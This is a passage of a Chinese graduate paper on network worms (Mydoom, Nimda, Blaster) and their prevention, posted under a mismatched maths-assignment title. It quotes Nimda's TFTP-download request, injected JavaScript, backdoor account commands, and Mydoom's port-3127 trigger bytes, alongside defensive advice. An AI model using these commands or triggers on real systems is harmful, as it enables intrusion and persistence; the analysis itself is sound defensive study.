四川大学《高等数学(理)》20春在线作业1_3.doc
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
资料范本
本资料为word版本,可以直接编辑和打印,感谢您的下载
蠕虫病毒的特征与防治
地点:__________________
时间:__________________
说明:本资料适用于约定双方经过谈判,协商而共同承认,共同遵守的责任与义务,仅供参考,文档可直接下载或修改,不需要的部分可直接删除,使用时请详细阅读内容
研究生课程论文
(2008-2009学年第二学期)
蠕虫病毒的特征与防治
摘要
随着网络的发展,以网络传播的蠕虫病毒利用网络全球互联的优势和计算机系统及网络系统安全性上的漏洞,己经成为计算机系统安全的一大的威胁。
采用网络传播的蠕虫病毒与传统的计算机病毒在很多方面都有许多不同的新特点。
本文对蠕虫病毒的特征和防御策略进行了研究,透彻分析了几个流行的蠕虫病毒的本质特征和传播手段,并提出了防治未知病毒以及变形病毒的解决方案与虚拟机相结合的基于攻击行为的着色判决PN机蠕虫检测方法。
关键词: 蠕虫,病毒特征,病毒防治
1引言
“蠕虫”这个生物学名词于1982年由Xerox PARC的John F. Shoeh等人最早引入计算机领域,并给出了计算机蠕虫的两个最基本的特征:“可以从一台计算机移动到另一台计算机”和“可以自我复制”。
最初,他们编写蠕虫的目的是做分布式计算的模型试验。
1988年Morris蠕虫爆发后,Eugene H. Spafford为了区分蠕虫和病毒,给出了蠕虫的技术角度的定义。
“计算机蠕虫可以独立运行,并能把自身的一个包含所有功能的版本传播到另外的计算机上。
”计算机蠕虫和计算机病毒都具有传染性和复制功能,这两个主要特性上的一致,导致二者之间是非常难区分的。
近年来,越来越多的病毒采取了蠕虫技术来达到其在网络上迅速感染的目的。
因而,“蠕虫”本身只是“计算机病毒”利用的一种技术手段[1]。
2蠕虫病毒的特征及传播
1、一般特征:
(1)独立个体,单独运行;
(2)大部分利用操作系统和应用程序的漏洞主动进行攻击;
(3)传播方式多样;
(4)造成网络拥塞,消耗系统资源;
(5)制作技术与传统的病毒不同,与黑客技术相结合。
2、病毒与蠕虫的区别
(l)存在形式上病毒寄生在某个文件上,而蠕虫是作为独立的个体而存在;
(2)传染机制方面病毒利用宿主程序的运行,而蠕虫利用系统存在的漏洞;
(3)传染目标病毒针对本地文件,而蠕虫针对网络上的其他计算机;
(4)防治病毒是将其从宿主文件中删除,而防治蠕虫是为系统打补丁。
3、传播过程:
(1)扫描:由蠕虫的扫描功能模块负责探测存在漏洞的主机。
(2)攻击:攻击模块按漏洞攻击步骤自动攻击步骤1中找到的对象,取得该主机的权限(一般为管理员权限),获得一个shell。
(3)现场处理:进入被感染的系统后,要做现场处理工作,现场处理部分工作主要包括隐藏、信息搜集等等
(4)复制:复制模块通过原主机和新主机的交互将蠕虫程序复制到新主机并启动。
每一个具体的蠕虫在实现这四个部分时会有不同的侧重,有的部分实现的相当复杂,有的部分实现的则相当简略。
尼姆达病毒是一个比较典型的病毒与蠕虫技术相结合的蠕虫病毒,它几乎包括目前所有流行病毒的传播手段,并且可以攻击Win98/NT/2000/XP等所有的Windows操作平台。
该病毒有以下4种传播方式:
通过Email发送在客户端看不到的邮件附件程序sample.exe,该部分利用了微软的OE信件浏览器的漏洞;
通过网络共享的方式来传染给局域网络上的网络邻居,使用设置密码的共享方式可以有效的防止该病毒的此种传播方式;
通过没有补丁的IIS服务器来传播,该传播往往是病毒屡杀不绝的原因,该方式利用了微软IIS的UNICODE漏洞;
(4)通过感染普通的文件来传播,在这一点上和普通的病毒程序相同。
4、蠕虫病毒的传播趋势
目前的流行病毒越来越表现出以下三种传播趋势:
1、通过邮件附件传播病毒,如Mydoom等邮件病毒;
2、通过无口令或者弱口令共享传播病毒,如Nimda、Netskey等;
3、利用操作系统或者应用系统漏洞传播病毒,如冲击波蠕虫、震荡波蠕虫等。
3目前流行的蠕虫病毒
3.1 Mydoom邮件病毒
Novarg/Mydoom.a蠕虫是2004年1月28日开始传入我国的一个通过邮件传播的蠕虫。
在全球所造成的直接经济损失至少达400亿美元,是2004年1月份十大病毒之首。
该蠕虫利用欺骗性的邮件主题和内容来诱使用户运行邮件中的附件。
拒绝服务的方式是向网站的WEB服务发送大量GET请求,在传播和攻击过程中,会占用大量系统资源,导致系统运行变慢。
蠕虫还会在系统上留下后门,通过该后门,入侵者可以完全控制被感染的主机[2]。
该蠕虫没有使用特别的技术和系统漏洞,之所以能造成如此大的危害,主要还是由于人们防范意识的薄弱,和蠕虫本身传播速度较快的缘故。
该蠕虫主要通过电子邮件进行传播,它的邮件主题、正文和所带附件的文件名都是随机的,另外它还会利用Kazaa的共享网络来进行传播。
病毒文件的图标和windows系统记事本(NOTEPAD.EXE)图标非常相似,运行后会打开记事本程序,显示一些乱码信息,其实病毒已经开始运行了。
病毒会创建名为“SwebSipcSmtxSO”的排斥体来判断系统是否己经被感染。
蠕虫在系统中寻找所有可能包含邮件地址的文件,包括地址簿文件、各种网页文件等,从中提取邮件地址,作为发送的目标。
病毒会避免包含以下信息的域名:gov、mil、borlan、bsd、example等,病毒同样会避免包含以下信息的电子邮件帐户:accoun、ca、certific、、icrosoft、info、linux等,当病毒检测到邮件地址中含有上述域名或帐户时则忽略该地址,不将其加入到发送地址链表中。
Worm.Mydoom.a病毒主程序流程如图3-1所示,后门程序shimgapi.dll如图3-2所示:
开始
初始化变量
检测注册表HKLM和HKUC下是否存在键
Software\Mcirosoft\Windwos\CurrentVersion\Explorer\ComDlg32\Version,存在则代表已感染,否则创建该键,表示第一次感染
第一次感染
否是
创建互斥体SwebSipcSmtxSO
创建互斥体SwebSipcSmtxSO
创建临时随机文件并用Notepade.exe打开(乱码)
失败成功
返回
生成库文件shimapi.dll,并装载该库
当前时间是否大于终止时间,大于则返回
将病毒自身拷贝生成文件taskmon.exe
修改注册表增加病毒自启动项,
HKLM\Software\Microsoft\Windows\CurrentVersion\Run”TaskMon”=”%syst em%taskmon.exe”
判断日期是否满足触发条件,若满足则创建线程无限循环链接Sco网站,并发送信息进行DOS攻击
打开注册表找到kazaa共享路径,并将当前运行进程文件副本拷贝至该目录下,扩展名为.exe、.scr、.pif、.bat四者之一
创建无限循环扫描线程扫描wab文件、IE临时文件、硬盘中的文本文件,将扫描到的邮件地址、用户进行过滤,然后加入到邮件地址队列
创建无限循环的发送邮件线程massmail_main_th,从扫描得到的邮件地址队列取地址发送邮件,邮件的发送人地址、主题、内容、附件名称随机,附件即病毒主体
结束
图3-1 Mydoom病毒主体流程图
开始
加载动态库
当系统为Wni9X时,注册为系统服务
查询当前线程信息,根据此信息获得动态库路径,修改注册表键将
HKEY_CLASSES_R00T\CLSID\{E6FB5E20-DE35-llCF-9C87-
00AA005127ED}\InProcServer32,(Default)=”%system%\webcheek.dll”改为”%System%\shimgapi.dll”,在系统启动时,shimgapi.dll会随着EXLPORER.EXE的启动而得到执行
创建后门端口并监听,根据接收的首字节确定转发或接收数据并执行
每半秒检查一次注册表,若病毒主体路径被删除则补上
结束
图3-2 shimgapi.dll流程图
Mydoom蠕虫病毒除造成了网络资源的浪费,阻塞网络,被攻击网站不能提供正常服务外,最大的危险在于安装了后门程序。
该后门即shimgapi.dll,通过修改注册表,使自身随着EXPLORER的启动而运行,将自己加载到了资源管理器的进程空间中。
后门监听3127端口,如果该端口被占用,则递增,但不大于3198。
后门提供了两个功能:
(1)作为端口转发代理;
(2)作为后门,接收上传程序并执行。
当3127端口收到连接之后,如果recv的第一个字符是x04,转入端口转发流程。
若第二个字符是0x01,则取3、4两个字符作为目标端口,取第5-8四个字节作为目标IP地址,进行连接并和当前socket数据转发。
recv的第一
个字符如果是x85,则转入执行命令流程。
先接收四个字节,转成主机字节序后验证是否是x133c9ea2,验证通过则创建临时文件接收数据,接收完毕运行该文件。
也就是说,只要我们把任意一个可执行文件的头部,加上五个字
符:x85133c9ea2,作为数据发送到感染了Mydoom.a蠕虫机器的3127端口,这个文件,就会在系统上被执行,从而对被感染系统的安全造成了极大的威胁。
Nimda蠕虫病毒
在Nimda蠕虫病毒出现以前,“蠕虫”技术一直是独立发展的。
Nmida病毒第一次将“蠕虫”技术和“计算机病毒”技术结合起来。
从Nimda的攻击方式来看,Nimda蠕虫病毒只攻击微软的Win X系列操作系统,它通过电子邮件、网络临近共享文件、IE浏览器的内嵌MIME类型自动执行漏洞、IIS服务器文件目录遍历漏洞、Code Red II和Sad mind/IIS蠕虫留下的后门共五种方式进行传播,其中前三种方式是病毒传播方式。
关于蠕虫病毒的分析,在很多文献[3]中都有提到,本文在这些文献的基础上,重点针对几种典型的蠕虫病毒在技术实现上的特点进行分析,以期找到他们的一些共性。
1.被利用的系统漏洞描述
(1)微软IE异常处理MIME头漏洞
IE在处理MIME头中“Content2Type:”处指定的某些类型时存在问题,攻击者可以利用这类缺陷在IE客户端执行任意命令。
(2)Microsoft IIS UniCode解码目录遍历漏洞
微软IIS4.0和IIS5.0在UniCdoe字符解码的实现中存在一个安全漏洞,导致用户可以远程通过IIS执行任意命令。
(3)Microsoft IIS CGI文件名错误解码漏洞
微软IIS4.0/5.0在处理CGI程序文件名时存在一个安全漏洞,由于错误地对文件名进行了两次解码,攻击者可能利用这个漏洞执行任意系统命令。
(4)“Code Red II”和Sadmind/IIS蠕虫留下的后门程序。
2.传播方式
(l)邮件传播
蠕虫会向被攻击者发送一封携带了蠕虫附件的邮件。
这个邮件由两部分MIME类型的信息组成:第一部分的MIME类型为“text/html”,但却没有包含文本,因此看起来是空的;第二部分的MIME类型为“audio/x2wav”,但它实际上携带的是一个名为“Readme.exe”的base64编码的可执行附件。
利用了“微软IE异常处理MIME头漏洞”安全漏洞,任何运行在x86平台下并且使用微软IE5.5SP1或之前版本(IE5.01SP2除外)来显示HTML邮件的邮件客户端软件,都将自动执行邮件附件。
用户甚至只需打开或预览邮件即可使蠕虫被执行[4]。
被蠕虫攻击的目标邮件的地址从下列两个来源中获得:
①用户Web Cache文件夹中的*.htm和*.html文件
②用户通过MAPI服务收到Email邮件的内容
蠕虫在这些文件中搜索看起来像邮件地址的字符串,然后向这些地址发送一份包含蠕虫拷贝的邮件。
Nimda蠕虫在Windows注册表中记录最后一批邮件发送的时间,然后每十天重复搜索邮件地址并重新发送蠕虫邮件。
(2)IIS WEB服务器传播
蠕虫会利用两个IIS服务器的目录遍历漏洞和以前的一些IIS蠕虫(Rde CodeII和Sad mind/IIS)留下的后门程序来进行传播。
蠕虫按照下列几率来选择攻击目标的IP地址:
①50%的几率,在与本地IP地址前两字节相同的地址(B类网络)中选择一个
②25%的几率,在与本地IP地址前一字节相同的地址(A类网络)中选择一个
③25%的几率,随机选择IP地址。
蠕虫首先会启动一个TFTP服务器,监听UDP/69端口。
在开启TFTP服务器和确定攻击P1地址之后,Nimda就开始对这个IP地址进行扫描。
首先,扫描“RdeCodeII”留下的后门。
由于被“RedCodeII”攻击过的系统中的Web虚拟目录中会留下一个名为Root.exe的后门程序,Nimda就首先扫描
“/Scripts/root.exe”,如果这个程序存在的话,Nimda蠕虫就企图通过它在系统上执行命令。
它执行类似下列命令来向其发送蠕虫代码:
GET/scripts/root.exe?/c+tftp+2i+localip+GET+Admin.dll HTTP/1.0 其中Localip是本主机的IP地址,这样就通过TFTP协议将本地的Admin.dll文件传播过去,而这个Admin.dll实际上就是蠕虫代码本身,只不过它在这里是以*.dll文件的形式存在。
这样做的目的,就像前面所讲述的那样是为了利用IIS的系统文件列表权限提升漏洞来提升蠕虫运行的权限。
在将Admin.dll上传到目标主机上之后,蠕虫就会通过发送:
GET/scripts/Admin.dll HTTP/1.0
的请求来运行蠕虫。
此时,蠕虫是以系统管理员权限运行的。
其次,如果在扫描/Scripts/root.exe时没有成功,即目标机中没有“红色代码II”留下的后门程序,那么蠕虫程序会继续扫描目标上的Unicode漏洞以及二次解码漏洞,以期通过这两个漏洞在系统上执行命令,如果发现其中某一个漏洞,蠕虫就会重复利用/scripts/root.exe所发送的TFTP命令来上传Admin.dll,然后运行。
Admin.dll作为ISAPI程序运行后,会把自身拷贝到Windows系统文件夹命名Mmc.exe,然后以\带参数方式运行“Mmc.exe-qusery9bnow”。
这样就完成了通过IIS进行传播的过程。
(3)文件共享传播。
蠕虫访问共享网络资源,然后开始检测远程系统上的文件。
如果发现一个*.exe文件,它将蠕虫代码加到原来文件的前面,下次执行被感染文件时,将首先执行蠕虫代码。
它并不感染winzip32.exe。
如果发现*.doc文件,它将自己拷贝到*.doc文件所在目录下,改名为Riched32.dll,并设置为隐藏、系统属性。
由于Microsoft word在打开该*.doc文件时,会首先在当前目录寻找Riched32.dll,这将首先运行蠕虫代码,这也会大大增大远程用户的感染几率。
它也会利用找到的文档文件的名字创建以*.eml和*.nws后缀的文件,这些文件也是带有蠕虫拷贝的MIME编码的文件。
(4)通过网页进行传播。
对于受感染的WWW服务器,Nimda会修改其上的WWW网页文件,使得浏览该网站的用户受其感染。
当蠕虫通过Admin.dll运行时,蠕虫生成的新程序(Mmc.exe)会在整个硬盘中搜索后缀为:*.HTML,*.APS,*.HTM,文件名
为:Default,Index,Main,Readme的文件。
一旦发现了这样的文件,蠕虫会在该目录下创建一个Readme.eml文件,它是一个由两部分组成的MIME编码的文件,里面也包含了蠕虫拷贝。
然后蠕虫会在找到的文件的末尾增加如下Javascript代码:
“<html><script language=”Javascript”>
window.open(”readme.eml“,null,
“resizable=no,top=6000,left=6000”)</script></html>”
这样,其他用户如果使用浏览器浏览被修改的网页或者资源管理(打开了预览功能)来浏览共享服务器上的Readme.mel文件时,利用IE浏览器异常处理MIME头漏洞,蠕虫就可以传播到新的客户端上。
(5)通过修改*.exe文件进行传播。
前面几种传播方式都是通过网络方式进行的,也是Nimda最常用的传染方式,它还会像普通的病毒那样通过文件来进行传播。
Nimda蠕虫首先选择感染*.exe文件,这样当通过软盘或局域网进行文件复制时,就会把蠕虫程序传播到其它的机器上面。
感染*.exe文件的具体做法是:
①先查找注册表中
HKEY LOCAL MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
\APPPathS键的内容,这个键值存放了主机上的可执行文件名字,一旦找到Nimda就会以病毒的方式感染这些文件。
②把原来的*.exe文件作为资源存储在新的*.exe文件当中,这样当运行新的*.exe文件时首先执行蠕虫程序,然后再调用原来的*.exe文件来执行,这样对于用户来说感觉上只是执行了原来的*.exe文件。
还有一点,Nimda如果发现
*.exe文件名为Winzip32.exe,则不进行感染。
这样做可能是为了避免重要程序WinZip无法运行导致系统崩溃。
(6)通过Word文档进行传播。
因为修改*.exe文件容易被杀毒软件检测到,所以Nimda还通过替换Word 程序的一个动态连接库文件来达到传播的目的。
蠕虫程序首先把自身复制到windows目录中命名为Riched20.dll。
然后它会搜索本地的共享目录中包含*.doc文件的目录,一旦找到,就会把自身复制到目录中并命名为
Riched20.dll,并将文件属性设置为隐藏和系统属性。
由于Microsoft word在打开该*.doc文件时,会首先在当前目录寻找Riched20.dll并加载,这样就会运行到蠕虫代码了。
不仅如此蠕虫还用找到的文档文件的名字加上.eml后缀来创建新文件,这些文件也是带有蠕虫拷贝的MIME编码的文件。
这样做会使得系统中出现大量.eml文件。
(7)系统感染技术
蠕虫会检查注册表中的如下表项:
HKEY LOCAL MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\APP Paths
HKEY LOCAL MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ Explorer\Shell Folders
然后感染所有找到的程序。
蠕虫会将自身拷贝到\windwos\System目录
中,命名为Load.exe,并修改System.ini文件,将Shell部分改为如下内容: Shell=explorer.exe load.exe -dontrunold
这样每次系统重启后都会运行蠕虫拷贝。
它会用自身拷贝替换Windows目录下的Riched20.dll,这样下次执行word时会自动执行这个蠕虫。
如果蠕虫
是以Readme.exe文件名被执行,它会将自身拷贝到Windows临时目录中,并使用随机文件名,例如tmp.exe等。
蠕虫在第一次执行时会寻找Explorer进程,将自己的进程注册为Explorer的一个远程线程。
这样即使用户退出系统,蠕虫仍然可以继续执行。
(8)后门安装技术
Nimda蠕虫通过修改一些注册表项以降低系统安全性,同时也安装系统后门。
蠕虫会将所有驱动器设置成共享状态,它会编辑如下注册表项:
HKEY_LOCAL_MACHINE\Software\Mierosoft\Windows\CurrentVersion\Netw ork\LanMan\[C$->Z$]
蠕虫会删除下列注册表项的所有子键以禁止共享安全性:
HKLM\SYSTEM\CurrentControlSet\Services\lanmanserver\Shares\Securi ty
蠕虫会修改下列注册表项:
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced 调整Hidden,ShowsuperHidden和HideFileExt键值,使得使用资源管理器无法显示隐藏文件。
这可以保护蠕虫代码,以免其被发现。
通过执行下列命令,蠕虫还激活了Guest用户,将其密码设置为空,并将其加入到Administrators组中(对于WindowsNT/2000/XP用户): net user guest/add
net user guest/active
net user guest“”
net local group Administrators guest
net local group Guests guest/add
通过执行下列命令,蠕虫将C:\设置为完全共享:
net share c$ = c:\
3.3冲击波病毒
病毒的行为特征为[5]:
(1)病毒运行时会将自身复制为
%systemdir%\msblast.exe,%systemdir%是一个变量,它指的是操作系统安装目录中的系统目录,默认是:“c:\windows\system”或
“c:\Winnt\system32”。
(2)病毒运行时会在系统中建立一个名为:“BILLY”的互斥量,目的是病毒保证在内存中只有一份病毒体,避免用户发现。
(3)病毒运行时会在内存中建立一个名为:“msblast.exe”的进程,该进程就是活的病毒体。
(4)病毒会修改注册表,在
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run中添加键值:“windows auto update”=“msblast.exe”,以便每次启动系统时,病毒都会运行。
(5)病毒体内隐藏有一段文本信息:I just want to say LOVE YOU SAN!! Billy gates why do you make this possible? Stop making money and you’re your software!!
(6)病毒会以20秒为间隔,每20秒检测一次网络状态,当网络可用时,病毒会在本地的UDP/69端口上建立一个TFPT服务器,并启动一个攻击传播线程,不断的随机生成攻击地址,进行攻击,另外该病毒攻击时,会首先搜索子网的IP地址,以便就近攻击。
(7)当病毒扫描到计算机后,就会向目标计算机的TCP/135端口发送数据。
(8)当病毒攻击成功后,目标计算机便会监听的TCP/4444端口作为后门,并绑定cmd.exe。
然后蠕虫会连接到这个端口,发送TFTP下载信息,目标主机通过TFTP下载病毒并运行病毒。
(9)当病毒攻击失败时,可能会造成没有打补丁的Wind。
邢系统RCP服务崩溃,WindowXP系统可能会自动重启计算机。
(10)病毒检测到当前系统月份是8月之后或者日期是巧日之后,就会向微软的更新站点“”发动拒绝服务攻击,使微软网站的更新站点无法为用户提供服务。
从上面冲击波病毒的行为特征我们可以看出,冲击波病毒与其他两个病毒的不同点在于其传播方式。
冲击波病毒利用了windows系统的DCOM RPC缓冲区漏洞攻击系统,一旦攻击成功,病毒体将会被传送到对方计算机中进行感染,不需要用户的参与,而其他两种是通过邮件附件的方式,引诱用户点击执行。
破坏性方面因病毒而异,病毒的执行、自启动方面三种病毒都相似。
Remote Procedure Call(RPC)是运用于Windows操作系统上的一种协议。
RPC提供相互处理通信机制,允许运行该程序的计算机在一个远程系统上执行代码。
RPC协议本身源于OSF(open Software Foundation)RPC协议,后来又另外增加了一些Microsoft专用扩展功能。
RPC中处理TCP/IP信息交换的模块由于错误的处理畸形信息,导致存在缓冲区溢出漏洞,远程攻击者可利用此缺陷以本地系统权限在系统上执行任意指令,如安装程序、查看或更改、删除数据或建立系统管理员权限的帐户。
据CERT安全小组称,操作系统中超过50%的安全漏洞都是由内存溢出引起的,其中大多数与微软技术有关,这些与内存溢出相关的安全漏洞正在被越来越多的蠕虫病毒所利用。
缓冲区溢出是指当计算机程序向缓冲区内填充的数据位数超过缓冲区本身的容量时,溢出的数据就会覆盖在合法数据上,这些数据可能是数值、下一条指令的指针,或者是其他程序的输出内容。
一般情况下,覆盖其他数据区的数据是没有意义的,最多造成应用程序错误,但是如果输入的数据是经过“黑客”或者病毒精心设计的,覆盖缓冲区的数据恰恰是“黑客”或者病毒的入侵程序代码,一旦多余字节被编译执行,“黑客”或者病毒就有可能为所欲为,获取系统的控制权。
溢出根源在于编程:缓冲区溢出是由编程错误引起的。
如果缓冲区被写满,而程序没有去检查缓冲区边界,也没有停止接收数据,这时缓冲区溢出就会发生。
因此防止利用缓冲区溢出发起的攻击,关键在于程序开发者在开发程序时仔细检查溢出情况,不允许数据溢出缓冲区。
此外,用户需要经常登录操作系统和应用程序提供商的网站,跟踪公布的系统漏洞,及时下载补丁程序,弥补系统漏洞。
4蠕虫病毒的防治
蠕虫病毒不同于一般的文件型病毒,既表现出了强大的功能,也表现出了自身的特点,变种多,功能相似,但当前反病毒厂商仍然利用传统的病毒特征串查毒法进行查毒。
虽然随着病毒库的与日俱增,效率与日俱下,倒也还能满足目前的反病毒要求,但琼斯病毒的出现,彻底宣判了单纯特征串查毒法的死刑,迫切需要一种新式高效的查毒方法来应对琼斯这类变形蠕虫病毒。
笔者总结了现有的蠕虫病毒非特征串检测方法,并提出了自己的观点。
4.1一般防治措施
因为目前的蠕虫病毒越来越表现出三种传播趋势:邮件附件、无口令或者弱口令共享、利用操作系统或者应用系统漏洞来传播病毒,所以防治蠕虫也应从这三方面下手:
(1)针对通过邮件附件传播的病毒:在邮件服务器上安装杀毒软件,对附件进行杀毒:在客户端(主要是out1ook)限制访问附件中的特定扩展名的文件,如.pif、.vbs、.js、.exe等;用户不运行可疑邮件携带的附件。
(2)针对弱口令共享传播的病毒:严格来说,通过共享和弱口令传播的蠕虫大多也利用了系统漏洞。
这类病毒会搜索网络上的开放共享并复制病毒文件,更进一步的蠕虫还自带了口令猜测的字典来破解薄弱用户口令,尤其是薄弱管理员口令。
对于此类病毒,在安全策略上需要增加口令的强度策略,保证必要的长度和复杂度;通过网络上的其他主机定期扫描开放共享和对登录口令进行破解尝试,发现问题及时整改。
(3)针对通过系统漏洞传播的病毒:配置WindowsUpdate自动升级功能,使主机能够及时安装系统补丁,防患于未然;定期通过漏洞扫描产品查找主机存在的漏洞,发现漏洞,及时升级;关注系统提供商、安全厂商的安全警告,如有问题,则采取相应措施。
(4)重命名或删除命令解释器:如Windows系统下的WScriPt.exe;通过防火墙禁止除服务端口外的其他端口,切断蠕虫的传播通道和通信通道。
4.2基于攻击行为的着色判决NP机入侵检测系统模型。